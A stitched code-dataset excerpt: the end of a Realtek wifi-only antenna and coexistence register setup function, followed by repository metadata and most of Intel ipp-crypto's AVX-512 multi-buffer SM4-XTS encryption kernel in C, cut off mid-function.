halwifionly_bitmaskwrite1byte(pwifionlycfg, 0x40, 0x20, 0x1);
/* Set Antenna path to Wifi */
halwifionly_write2byte(pwifionlycfg, 0x0765, 0x8); /* Set pta for wifi first priority, 0x0 need to reference pta table to determine wifi and bt priority */
halwifionly_write2byte(pwifionlycfg, 0x076e, 0xc);
halwifionly_write4byte(pwifionlycfg, 0x000006c0, 0xaaaaaaaa); /* pta table, 0xaaaaaaaa means wifi is higher priority than bt */
halwifionly_write4byte(pwifionlycfg, 0x000006c4, 0xaaaaaaaa);
halwifionly_bitmaskwrite1byte(pwifionlycfg, 0x67, 0x20, 0x1); /* BT select s0/s1 is controlled by WiFi */
/* 0x948 setting */
if (pwifionlycfg->chip_interface == WIFIONLY_INTF_PCI) {
/* HP Foxconn NGFF at S0
not sure HP pg correct or not(EEPROMBluetoothSingleAntPath), so here we just write
0x948=0x280 for HP HW id NIC. */
if (pwifionly_haldata->customer_id == CUSTOMER_HP_1) {
halwifionly_write4byte(pwifionlycfg, 0x948, 0x280);
halwifionly_phy_set_rf_reg(pwifionlycfg, 0, 0x1, 0xfffff, 0x0); /* WiFi TRx Mask off */
return;
}
}
if (pwifionly_haldata->efuse_pg_antnum == 2) {
halwifionly_write4byte(pwifionlycfg, 0x948, 0x0);
} else {
/* 3Attention !!! For 8723BU !!!!
For 8723BU single ant case: jira [USB-1237]
Because of 8723BU S1 has HW problem, we only can use S0 instead.
Whether Efuse 0xc3 [6] is 0 or 1, we should always use S0 and write 0x948 to 80/280
--------------------------------------------------
BT Team :
When in Single Ant case, Reg[0x948] has two case : 0x80 or 0x200
When in Two Ant case, Reg[0x948] has two case : 0x280 or 0x0
Efuse 0xc3 [6] Antenna Path
0xc3 [6] = 0 ==> S1 ==> 0x948 = 0/40/200
0xc3 [6] = 1 ==> S0 ==> 0x948 = 80/240/280 */
if (pwifionlycfg->chip_interface == WIFIONLY_INTF_USB)
halwifionly_write4byte(pwifionlycfg, 0x948, 0x80);
else {
if (pwifionly_haldata->efuse_pg_antpath == 0)
halwifionly_write4byte(pwifionlycfg, 0x948, 0x0);
else
halwifionly_write4byte(pwifionlycfg, 0x948, 0x280);
}
}
/* after 8723B F-cut, TRx Mask should be set when 0x948=0x0 or 0x280
PHY_SetRFReg(Adapter, 0, 0x1, 0xfffff, 0x780); WiFi TRx Mask on */
halwifionly_phy_set_rf_reg(pwifionlycfg, 0, 0x1, 0xfffff, 0x0); /*WiFi TRx Mask off */
}
|
4f913bf54cced2f019873cbf764d6a42fb1731f0
|
50e95229b9a1161ac294137120aaba94c9eb06bc
|
/sources/ippcp/crypto_mb/src/sm4/sm4_xts_mb16.c
|
02db4078f6953e32676d8919642379582bbe035f
|
[
"Apache-2.0",
"Intel"
] |
permissive
|
intel/ipp-crypto
|
f0f05b87203705e82603db67bed5f8def13a5ee8
|
36e76e2388f3dd10cc440e213dfcf6ef59a0dfb8
|
refs/heads/develop
| 2023-09-04T08:15:06.851373
| 2023-07-27T12:47:12
| 2023-07-27T12:47:12
| 140,034,345
| 304
| 81
|
Apache-2.0
| 2023-08-30T17:18:36
| 2018-07-06T22:16:28
|
C
|
UTF-8
|
C
| false
| false
| 29,986
|
c
|
sm4_xts_mb16.c
|
/*******************************************************************************
* Copyright (C) 2023 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the 'License');
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an 'AS IS' BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions
* and limitations under the License.
*
*******************************************************************************/
#include <internal/sm4/sm4_mb.h>
#include <internal/rsa/ifma_rsa_arith.h>
#define FIRST_TWEAKS 1
#define NEXT_TWEAKS 0
/* Generate the next 4 tweaks for a given buffer */
static void generate_next_4_tweaks(const __m512i *PREV_TWEAK, __m512i *NEXT_TWEAK,
const __m512i z_shuf_mask, const __m512i z_poly,
const int first_tweaks)
{
__m512i TMP1, TMP2, TMP3, TMP4;
const __mmask8 xor_mask = _cvtu32_mask8(0xAA);
TMP1 = _mm512_shuffle_epi8(*PREV_TWEAK, z_shuf_mask);
/*
* In case of the first 4 tweaks, the shifts are variable,
* as we are start from tweak 1 in all 128-bit lanes, to construct
* tweaks 1, 2, 3 and 4
*/
if (first_tweaks) {
const __m512i z_dq3210 = _mm512_loadu_si512(xts_const_dq3210);
const __m512i z_dq5678 = _mm512_loadu_si512(xts_const_dq5678);
TMP2 = _mm512_sllv_epi64(*PREV_TWEAK, z_dq3210);
TMP3 = _mm512_srlv_epi64(TMP1, z_dq5678);
/*
* For following tweaks, the shifts are constant,
* as we calculate the next 4 tweaks, parting from tweaks N-4, N-3, N-2 and N,
* to construct tweaks N, N+1, N+2, N+3
*/
} else {
TMP2 = _mm512_slli_epi64(*PREV_TWEAK, 4);
TMP3 = _mm512_srli_epi64(TMP1, 4);
}
TMP4 = _mm512_clmulepi64_epi128(TMP3, z_poly, 0);
TMP2 = _mm512_mask_xor_epi64(TMP2, xor_mask, TMP2, TMP3);
*NEXT_TWEAK = _mm512_xor_epi32(TMP4, TMP2);
}
/* Prepare the last tweaks for a given buffer, if it has a partial block */
static void prepare_last_tweaks(__m512i *TWEAK, __m512i *NEXT_TWEAK,
const int operation, int num_remain_full_blocks)
{
/*
* For the encryption case, we need to prepare the tweak
* for the partial block to be at the beginning of NEXT_TWEAK,
* so depending on the number of remaining full blocks, its position
* will vary, so the permute mask will be different. In case, there are 4 full blocks,
* the newly generated NEXT_TWEAK will be positioned correctly.
*/
if (operation == SM4_ENC) {
if (num_remain_full_blocks == 1)
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq_enc[0]), *TWEAK);
else if (num_remain_full_blocks == 2)
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq_enc[1*8]), *TWEAK);
else if (num_remain_full_blocks == 3)
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq_enc[2*8]), *TWEAK);
/*
* For the decryption case, it is a bit more complicated.
* In case of a partial block, the last two tweaks (the last tweak of the last full block)
* and the tweak of the last block, need to be interchanged.
* TWEAK will have the tweaks for the last FULL blocks and *NEXT_TWEAK,
* as earlier, will have the tweak for the last partial block.
*/
} else {
if (num_remain_full_blocks == 1) {
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq[0]), *TWEAK);
*TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_tweak_permq[0]), *TWEAK);
} else if (num_remain_full_blocks == 2) {
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq[1*8]), *TWEAK);
*TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_tweak_permq[1*8]), *TWEAK);
} else if (num_remain_full_blocks == 3) {
*NEXT_TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_next_tweak_permq[2*8]), *TWEAK);
*TWEAK = _mm512_permutexvar_epi64(_mm512_loadu_si512(&xts_tweak_permq[2*8]), *TWEAK);
} else if (num_remain_full_blocks == 4) {
*NEXT_TWEAK = _mm512_permutex2var_epi64(*NEXT_TWEAK, _mm512_loadu_si512(&xts_next_tweak_permq[3*8]), *TWEAK);
*TWEAK = _mm512_permutex2var_epi64(*TWEAK, _mm512_loadu_si512(&xts_tweak_permq[3*8]), *NEXT_TWEAK);
}
}
}
static void sm4_xts_mask_kernel_mb16(__m512i* NEXT_TWEAK, const __m512i* p_rk, __m512i loc_len32,
const int8u** loc_inp, int8u** loc_out,
__mmask16 mb_mask, const int operation)
{
__m512i TMP[20];
const __m512i z_poly = _mm512_loadu_si512(xts_poly);
const __m512i z_partial_block_mask = _mm512_loadu_si512(xts_partial_block_mask);
const __m512i z_full_block_mask = _mm512_loadu_si512(xts_full_block_mask);
const __m512i z_shuf_mask = _mm512_loadu_si512(xts_shuf_mask);
/* Length in bytes of partial blocks for all buffers */
const __m512i partial_len32 = _mm512_and_si512(loc_len32, z_partial_block_mask);
/* Length in bytes of full blocks for all buffers */
loc_len32 = _mm512_and_si512(loc_len32, z_full_block_mask);
__mmask16 ge_64_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len32, _mm512_set1_epi32(4 * SM4_BLOCK_SIZE), _MM_CMPINT_NLT);
__mmask8 ge_64_mask_0_7 = (__mmask8) ge_64_mask;
__mmask8 ge_64_mask_8_15 = (__mmask8) _kshiftri_mask16(ge_64_mask, 8);
/* Expand 32-bit lengths to 64-bit lengths for 16 buffers */
const __mmask16 expand_mask = _cvtu32_mask16(0x5555);
__m512i remain_len64_0_7 = _mm512_maskz_permutexvar_epi32(expand_mask, _mm512_loadu_si512(xts_dw0_7_to_qw_idx), loc_len32);
__m512i remain_len64_8_15 = _mm512_maskz_permutexvar_epi32(expand_mask, _mm512_loadu_si512(xts_dw8_15_to_qw_idx), loc_len32);
__m512i processed_len64_0_7;
__m512i processed_len64_8_15;
__m512i TWEAK[SM4_LINES];
__m512i num_remain_full_blocks = _mm512_srli_epi32(loc_len32, 4);
/* Calculate bitmask of buffers with at least one full block */
__mmask16 tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len32, _mm512_set1_epi32(0), _MM_CMPINT_NLE);
/*
* While there is at least one full block in any of the buffer, keep encrypting
* (this loop only handles full blocks, but some buffers will have here
* less than 4 full blocks)
*/
while (tmp_mask) {
/* Mask for data loading */
__mmask64 stream_mask[16];
int i;
int* p_loc_len32 = (int*)&loc_len32;
int* p_num_remain_full_blocks = (int*)&num_remain_full_blocks;
int* p_partial_block = (int*)&partial_len32;
/* Generate tweaks for next rounds */
for (i = 0; i < SM4_LINES; i++) {
TWEAK[i] = NEXT_TWEAK[i];
/*
* If there are at least 4 more full blocks to process,
* at least one more tweak will be needed (for more full blocks or
* for a last partial block)
*/
if (p_num_remain_full_blocks[i] >= 4)
generate_next_4_tweaks(&TWEAK[i], &NEXT_TWEAK[i], z_shuf_mask, z_poly, NEXT_TWEAKS);
/* If there is a partial block, tweaks need to be rearranged depending on cipher direction */
if ((p_partial_block[i] > 0) & (p_num_remain_full_blocks[i] <= 4))
prepare_last_tweaks(&TWEAK[i], &NEXT_TWEAK[i], operation, p_num_remain_full_blocks[i]);
}
num_remain_full_blocks = _mm512_sub_epi32(num_remain_full_blocks, _mm512_set1_epi32(4));
/*
* XOR plaintext from each lane with the 4 tweaks and transpose to prepare for encryption.
* Since some buffers will have less than 4 full blocks,
* a bitmask is required to load less than 64 bytes (stream_mask)
*/
UPDATE_STREAM_MASK_64(stream_mask[0], p_loc_len32)
TMP[0] = _mm512_xor_si512(TWEAK[0], _mm512_maskz_loadu_epi8(stream_mask[0], loc_inp[0]));
UPDATE_STREAM_MASK_64(stream_mask[1], p_loc_len32)
TMP[1] = _mm512_xor_si512(TWEAK[1], _mm512_maskz_loadu_epi8(stream_mask[1], loc_inp[1]));
UPDATE_STREAM_MASK_64(stream_mask[2], p_loc_len32)
TMP[2] = _mm512_xor_si512(TWEAK[2], _mm512_maskz_loadu_epi8(stream_mask[2], loc_inp[2]));
UPDATE_STREAM_MASK_64(stream_mask[3], p_loc_len32)
TMP[3] = _mm512_xor_si512(TWEAK[3], _mm512_maskz_loadu_epi8(stream_mask[3], loc_inp[3]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[4], TMP[5], TMP[6], TMP[7], TMP[0], TMP[1], TMP[2], TMP[3]);
UPDATE_STREAM_MASK_64(stream_mask[4], p_loc_len32)
TMP[0] = _mm512_xor_si512(TWEAK[4], _mm512_maskz_loadu_epi8(stream_mask[4], loc_inp[4]));
UPDATE_STREAM_MASK_64(stream_mask[5], p_loc_len32)
TMP[1] = _mm512_xor_si512(TWEAK[5], _mm512_maskz_loadu_epi8(stream_mask[5], loc_inp[5]));
UPDATE_STREAM_MASK_64(stream_mask[6], p_loc_len32)
TMP[2] = _mm512_xor_si512(TWEAK[6], _mm512_maskz_loadu_epi8(stream_mask[6], loc_inp[6]));
UPDATE_STREAM_MASK_64(stream_mask[7], p_loc_len32)
TMP[3] = _mm512_xor_si512(TWEAK[7], _mm512_maskz_loadu_epi8(stream_mask[7], loc_inp[7]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[8], TMP[9], TMP[10], TMP[11], TMP[0], TMP[1], TMP[2], TMP[3]);
UPDATE_STREAM_MASK_64(stream_mask[8], p_loc_len32)
TMP[0] = _mm512_xor_si512(TWEAK[8], _mm512_maskz_loadu_epi8(stream_mask[8], loc_inp[8]));
UPDATE_STREAM_MASK_64(stream_mask[9], p_loc_len32)
TMP[1] = _mm512_xor_si512(TWEAK[9], _mm512_maskz_loadu_epi8(stream_mask[9], loc_inp[9]));
UPDATE_STREAM_MASK_64(stream_mask[10], p_loc_len32)
TMP[2] = _mm512_xor_si512(TWEAK[10], _mm512_maskz_loadu_epi8(stream_mask[10], loc_inp[10]));
UPDATE_STREAM_MASK_64(stream_mask[11], p_loc_len32)
TMP[3] = _mm512_xor_si512(TWEAK[11], _mm512_maskz_loadu_epi8(stream_mask[11], loc_inp[11]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[12], TMP[13], TMP[14], TMP[15], TMP[0], TMP[1], TMP[2], TMP[3]);
UPDATE_STREAM_MASK_64(stream_mask[12], p_loc_len32)
TMP[0] = _mm512_xor_si512(TWEAK[12], _mm512_maskz_loadu_epi8(stream_mask[12], loc_inp[12]));
UPDATE_STREAM_MASK_64(stream_mask[13], p_loc_len32)
TMP[1] = _mm512_xor_si512(TWEAK[13], _mm512_maskz_loadu_epi8(stream_mask[13], loc_inp[13]));
UPDATE_STREAM_MASK_64(stream_mask[14], p_loc_len32)
TMP[2] = _mm512_xor_si512(TWEAK[14], _mm512_maskz_loadu_epi8(stream_mask[14], loc_inp[14]));
UPDATE_STREAM_MASK_64(stream_mask[15], p_loc_len32)
TMP[3] = _mm512_xor_si512(TWEAK[15], _mm512_maskz_loadu_epi8(stream_mask[15], loc_inp[15]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[16], TMP[17], TMP[18], TMP[19], TMP[0], TMP[1], TMP[2], TMP[3]);
SM4_KERNEL(TMP, p_rk, operation);
p_rk -= operation*SM4_ROUNDS;
/* Transpose, XOR with the tweaks again and write data out */
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[4], TMP[5], TMP[6], TMP[7]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_mask_storeu_epi8((__m512i*)loc_out[0], stream_mask[0], _mm512_xor_si512(TMP[0], TWEAK[0]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[1], stream_mask[1], _mm512_xor_si512(TMP[1], TWEAK[1]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[2], stream_mask[2], _mm512_xor_si512(TMP[2], TWEAK[2]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[3], stream_mask[3], _mm512_xor_si512(TMP[3], TWEAK[3]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[8], TMP[9], TMP[10], TMP[11]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_mask_storeu_epi8((__m512i*)loc_out[4], stream_mask[4], _mm512_xor_si512(TMP[0], TWEAK[4]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[5], stream_mask[5], _mm512_xor_si512(TMP[1], TWEAK[5]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[6], stream_mask[6], _mm512_xor_si512(TMP[2], TWEAK[6]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[7], stream_mask[7], _mm512_xor_si512(TMP[3], TWEAK[7]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[12], TMP[13], TMP[14], TMP[15]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_mask_storeu_epi8((__m512i*)loc_out[8], stream_mask[8], _mm512_xor_si512(TMP[0], TWEAK[8]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[9], stream_mask[9], _mm512_xor_si512(TMP[1], TWEAK[9]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[10], stream_mask[10], _mm512_xor_si512(TMP[2],TWEAK[10]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[11], stream_mask[11], _mm512_xor_si512(TMP[3],TWEAK[11]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[16], TMP[17], TMP[18], TMP[19]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_mask_storeu_epi8((__m512i*)loc_out[12], stream_mask[12], _mm512_xor_si512(TMP[0], TWEAK[12]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[13], stream_mask[13], _mm512_xor_si512(TMP[1], TWEAK[13]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[14], stream_mask[14], _mm512_xor_si512(TMP[2], TWEAK[14]));
_mm512_mask_storeu_epi8((__m512i*)loc_out[15], stream_mask[15], _mm512_xor_si512(TMP[3], TWEAK[15]));
/* Update input/output pointers to data */
processed_len64_0_7 = _mm512_mask_blend_epi64(ge_64_mask_0_7, remain_len64_0_7, _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
processed_len64_8_15 = _mm512_mask_blend_epi64(ge_64_mask_8_15, remain_len64_8_15, _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
M512(loc_inp) = _mm512_add_epi64(_mm512_loadu_si512(loc_inp), processed_len64_0_7);
M512(loc_inp + 8) = _mm512_add_epi64(_mm512_loadu_si512(loc_inp + 8), processed_len64_8_15);
M512(loc_out) = _mm512_add_epi64(_mm512_loadu_si512(loc_out), processed_len64_0_7);
M512(loc_out + 8) = _mm512_add_epi64(_mm512_loadu_si512(loc_out + 8), processed_len64_8_15);
/* Update number of blocks left and processing mask */
remain_len64_0_7 = _mm512_sub_epi64(remain_len64_0_7, processed_len64_0_7);
remain_len64_8_15 = _mm512_sub_epi64(remain_len64_8_15, processed_len64_8_15);
loc_len32 = _mm512_sub_epi32(loc_len32, _mm512_set1_epi32(4 * SM4_BLOCK_SIZE));
tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len32, _mm512_set1_epi32(0), _MM_CMPINT_NLE);
ge_64_mask_0_7 = _mm512_cmp_epi64_mask(remain_len64_0_7, _mm512_set1_epi64(4 * SM4_BLOCK_SIZE), _MM_CMPINT_NLT);
ge_64_mask_8_15 = _mm512_cmp_epi64_mask(remain_len64_8_15, _mm512_set1_epi64(4 * SM4_BLOCK_SIZE), _MM_CMPINT_NLT);
}
/* At this stage, all buffers have at most 15 bytes (a partial block) */
/* Calculate bitmask of buffers with a partial block */
tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, partial_len32, _mm512_set1_epi32(0), _MM_CMPINT_NLE);
if (tmp_mask) {
/* Encrypt last plaintext using bytes from previous ciphertext block */
__mmask64 stream_mask[16];
int* p_loc_len32 = (int*)&partial_len32;
__m128i XTMP[16];
int i;
for (i = 0; i < SM4_LINES; i++) {
/* Get right tweak (position tweak in last 16 bytes of ZMM register) */
UPDATE_STREAM_MASK_64(stream_mask[i], p_loc_len32);
/* Read final bytes of input partial block */
XTMP[i] = _mm_maskz_loadu_epi8((__mmask16)stream_mask[i], loc_inp[i]);
/*
* Read last bytes of previous output block to form 16 bytes
* (only if there is a partial block at the end of the buffer)
*/
if (stream_mask[i] == 0)
continue;
__m128i XOUT = _mm_maskz_loadu_epi8((__mmask16)~stream_mask[i], (loc_out[i] - 16));
XTMP[i] = _mm_or_si128(XTMP[i], XOUT);
/* Initial XOR of new constructed input with tweak */
XTMP[i] = _mm_xor_si128(XTMP[i], _mm512_castsi512_si128(NEXT_TWEAK[i]));
}
/* Encrypt final block from all lanes, compressing the 16 XMMs into 4 ZMMs */
TRANSPOSE_16x4_I32_XMM_EPI32(&TMP[0], &TMP[1], &TMP[2], &TMP[3], XTMP);
for (i = 0; i < SM4_ROUNDS; i += 4, p_rk += 4*operation)
SM4_FOUR_ROUNDS(TMP[0], TMP[1], TMP[2], TMP[3], TMP[4], p_rk, operation);
p_rk -= operation*SM4_ROUNDS;
/* Spread out the 4 ZMMs into 16 XMMs */
TRANSPOSE_4x16_I32_XMM_EPI32(&TMP[0], &TMP[1], &TMP[2], &TMP[3], XTMP);
for (i = 0; i < SM4_LINES; i++) {
/* Skip the buffer if there is no partial block left */
if (stream_mask[i] == 0)
continue;
/*
* Final XOR of output with tweak (it will be always
* in the beginning of NEXT_TWEAK, hence the cast)
*/
XTMP[i] = _mm_xor_si128(XTMP[i], _mm512_castsi512_si128(NEXT_TWEAK[i]));
/* Write first bytes of previous output block as the output of the partial block */
__m128i XOUT = _mm_maskz_loadu_epi8((__mmask16)stream_mask[i], (loc_out[i] - 16));
_mm_mask_storeu_epi8(loc_out[i], (__mmask16)stream_mask[i], XOUT);
/* Write last output as the output of the previous block */
_mm_storeu_si128((__m128i*)(loc_out[i] - 16), XTMP[i]);
}
}
/* clear local copy of sensitive data */
zero_mb8((int64u(*)[8])TMP, sizeof(TMP) / sizeof(TMP[0]));
}
void sm4_xts_kernel_mb16(int8u* pa_out[SM4_LINES], const int8u* pa_inp[SM4_LINES], const int len[SM4_LINES],
const int32u* key_sched1[SM4_ROUNDS], const int32u* key_sched2[SM4_ROUNDS],
const int8u* pa_tweak[SM4_LINES], __mmask16 mb_mask, const int operation)
{
__ALIGN64 const int8u* loc_inp[SM4_LINES];
__ALIGN64 int8u* loc_out[SM4_LINES];
/* Create the local copy of the input data length in bytes and set it to zero for non-valid buffers */
__m512i loc_len;
loc_len = _mm512_loadu_si512(len);
loc_len = _mm512_mask_set1_epi32(loc_len, ~mb_mask, 0);
/* Local copies of the pointers to input and otput buffers */
_mm512_storeu_si512((void*)loc_inp, _mm512_loadu_si512(pa_inp));
_mm512_storeu_si512((void*)(loc_inp + 8), _mm512_loadu_si512(pa_inp + 8));
_mm512_storeu_si512(loc_out, _mm512_loadu_si512(pa_out));
_mm512_storeu_si512(loc_out + 8, _mm512_loadu_si512(pa_out + 8));
/* Depending on the operation(enc or dec): sign allows to go up and down on the key schedule
* p_rk set to the beginning or to the end of the key schedule */
const __m512i* p_rk1 = (operation == SM4_ENC) ? (const __m512i*)key_sched1 : ((const __m512i*)key_sched1 + (SM4_ROUNDS - 1));
/* Pointer p_rk2 is set to the beginning of the key schedule,
* as it always encrypts the tweak, regardless the direction */
const __m512i* p_rk2 = (const __m512i*)key_sched2;
/* TMP[] - temporary buffer for processing */
/* TWEAK - tweak values for current blocks (4 blocks per buffer) */
/* NEXT_TWEAK - tweak values for following blocks (4 blocks per buffer) */
/* inital_tweak - first tweak for all buffers */
__m512i TMP[20];
__m512i TWEAK[SM4_LINES];
__m512i NEXT_TWEAK[SM4_LINES];
__m128i initial_tweak[SM4_LINES];
int i;
const __m512i z_poly = _mm512_loadu_si512(xts_poly);
const __m512i z_shuf_mask = _mm512_loadu_si512(xts_shuf_mask);
/* Encrypt initial tweak */
TRANSPOSE_16x4_I32_EPI32(&TMP[0], &TMP[1], &TMP[2], &TMP[3], pa_tweak, mb_mask);
for (i = 0; i < SM4_ROUNDS; i += 4, p_rk2 += 4)
SM4_FOUR_ROUNDS(TMP[0], TMP[1], TMP[2], TMP[3], TMP[4], p_rk2, SM4_ENC);
p_rk2 -= SM4_ROUNDS;
TRANSPOSE_4x16_I32_O128_EPI32(&TMP[0], &TMP[1], &TMP[2], &TMP[3], initial_tweak, mb_mask);
/* Load TWEAK value from valid buffers and generate first 4 values */
for (i = 0; i < SM4_LINES; i++) {
TWEAK[i] = _mm512_broadcast_i64x2(initial_tweak[i]);
generate_next_4_tweaks(&TWEAK[i], &NEXT_TWEAK[i], z_shuf_mask, z_poly, FIRST_TWEAKS);
}
/*
* Generate the mask to process 4 full blocks from each buffer.
* Less than 5 full blocks requires sm4_xts_mask_kernel_mb16 to handle it,
* as it is the function that can handle partial blocks.
*/
__mmask16 tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len, _mm512_set1_epi32(5 * SM4_BLOCK_SIZE), _MM_CMPINT_NLT);
/* Go to this loop if all 16 buffers contain at least 5 full blocks each */
while (tmp_mask == 0xFFFF) {
for (i = 0; i < SM4_LINES; i++) {
TWEAK[i] = NEXT_TWEAK[i];
/* Update tweaks for next rounds */
generate_next_4_tweaks(&TWEAK[i], &NEXT_TWEAK[i], z_shuf_mask, z_poly, NEXT_TWEAKS);
}
/* XOR plaintext from each lane with the 4 tweaks and transpose to prepare for encryption */
TMP[0] = _mm512_xor_si512(TWEAK[0], _mm512_loadu_si512(loc_inp[0]));
TMP[1] = _mm512_xor_si512(TWEAK[1], _mm512_loadu_si512(loc_inp[1]));
TMP[2] = _mm512_xor_si512(TWEAK[2], _mm512_loadu_si512(loc_inp[2]));
TMP[3] = _mm512_xor_si512(TWEAK[3], _mm512_loadu_si512(loc_inp[3]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[4], TMP[5], TMP[6], TMP[7], TMP[0], TMP[1], TMP[2], TMP[3]);
TMP[0] = _mm512_xor_si512(TWEAK[4], _mm512_loadu_si512(loc_inp[4]));
TMP[1] = _mm512_xor_si512(TWEAK[5], _mm512_loadu_si512(loc_inp[5]));
TMP[2] = _mm512_xor_si512(TWEAK[6], _mm512_loadu_si512(loc_inp[6]));
TMP[3] = _mm512_xor_si512(TWEAK[7], _mm512_loadu_si512(loc_inp[7]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[8], TMP[9], TMP[10], TMP[11], TMP[0], TMP[1], TMP[2], TMP[3]);
TMP[0] = _mm512_xor_si512(TWEAK[8], _mm512_loadu_si512(loc_inp[8]));
TMP[1] = _mm512_xor_si512(TWEAK[9], _mm512_loadu_si512(loc_inp[9]));
TMP[2] = _mm512_xor_si512(TWEAK[10], _mm512_loadu_si512(loc_inp[10]));
TMP[3] = _mm512_xor_si512(TWEAK[11], _mm512_loadu_si512(loc_inp[11]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[12], TMP[13], TMP[14], TMP[15], TMP[0], TMP[1], TMP[2], TMP[3]);
TMP[0] = _mm512_xor_si512(TWEAK[12], _mm512_loadu_si512(loc_inp[12]));
TMP[1] = _mm512_xor_si512(TWEAK[13], _mm512_loadu_si512(loc_inp[13]));
TMP[2] = _mm512_xor_si512(TWEAK[14], _mm512_loadu_si512(loc_inp[14]));
TMP[3] = _mm512_xor_si512(TWEAK[15], _mm512_loadu_si512(loc_inp[15]));
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
